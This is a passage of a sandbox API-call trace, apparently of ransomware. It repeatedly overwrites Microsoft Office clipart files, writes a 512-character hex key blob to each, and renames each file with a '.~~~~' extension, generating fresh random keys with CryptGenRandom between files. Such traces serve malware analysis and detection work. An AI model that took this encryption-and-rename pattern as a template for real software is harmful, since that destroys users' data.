	[0091.459] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x13ea, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x13ea, lpOverlapped=0x0) returned 1
	[0091.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.460] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.460] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.460] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.460] CloseHandle (hObject=0x118) returned 1
	[0091.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.~~~~")) returned 1
	[0091.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.480] GetLastError () returned 0x0
	[0091.480] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.481] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.481] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21147138515) returned 1
	[0091.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa04d90f0, dwHighDateTime=0x1d60e1e)) 
	[0091.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2288
	[0091.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2288 | out: hHeap=0x300000) returned 1
	[0091.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384f50
	[0091.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.482] GetLastError () returned 0x0
	[0091.482] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.482] GetLastError () returned 0x0
	[0091.486] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa40, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.486] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x5c0, lpOverlapped=0x0) returned 1
	[0091.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.486] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.486] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.487] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.487] CloseHandle (hObject=0x118) returned 1
	[0091.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.~~~~")) returned 1
	[0091.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.488] GetLastError () returned 0x0
	[0091.489] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.490] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.490] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21147998394) returned 1
	[0091.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa04ff250, dwHighDateTime=0x1d60e1e)) 
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386960
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386960 | out: hHeap=0x300000) returned 1
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385118
	[0091.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.490] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.491] GetLastError () returned 0x0
	[0091.491] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.491] GetLastError () returned 0x0
	[0091.493] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffeb74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.493] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x148c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x148c, lpOverlapped=0x0) returned 1
	[0091.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.495] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.495] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.495] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.496] CloseHandle (hObject=0x118) returned 1
	[0091.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.496] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.~~~~")) returned 1
	[0091.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.496] GetLastError () returned 0x0
	[0091.497] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.497] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.498] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21148770572) returned 1
	[0091.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa04ff250, dwHighDateTime=0x1d60e1e)) 
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386998
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386998 | out: hHeap=0x300000) returned 1
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3851b0
	[0091.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.498] GetLastError () returned 0x0
	[0091.498] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.498] GetLastError () returned 0x0
	[0091.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffc80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.501] WriteFile (in: hFile=0x118, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x380, lpOverlapped=0x0) returned 1
	[0091.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.502] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.502] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.502] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.502] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.502] CloseHandle (hObject=0x118) returned 1
	[0091.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.~~~~")) returned 1
	[0091.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.503] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.503] GetLastError () returned 0x0
	[0091.503] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.504] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.504] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.504] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21149434078) returned 1
	[0091.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa05253b0, dwHighDateTime=0x1d60e1e)) 
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3869d0
	[0091.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3869d0 | out: hHeap=0x300000) returned 1
	[0091.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385248
	[0091.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.505] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.505] GetLastError () returned 0x0
	[0091.505] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.505] GetLastError () returned 0x0
	[0091.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffd10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.506] WriteFile (in: hFile=0x118, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x2f0, lpOverlapped=0x0) returned 1
	[0091.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.507] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.507] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.507] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.507] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.507] CloseHandle (hObject=0x118) returned 1
	[0091.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.~~~~")) returned 1
	[0091.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.510] GetLastError () returned 0x0
	[0091.510] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.511] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.511] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21150126717) returned 1
	[0091.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa05253b0, dwHighDateTime=0x1d60e1e)) 
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386a08
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386a08 | out: hHeap=0x300000) returned 1
	[0091.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3852e0
	[0091.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.512] GetLastError () returned 0x0
	[0091.512] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.512] GetLastError () returned 0x0
	[0091.537] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffd470, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
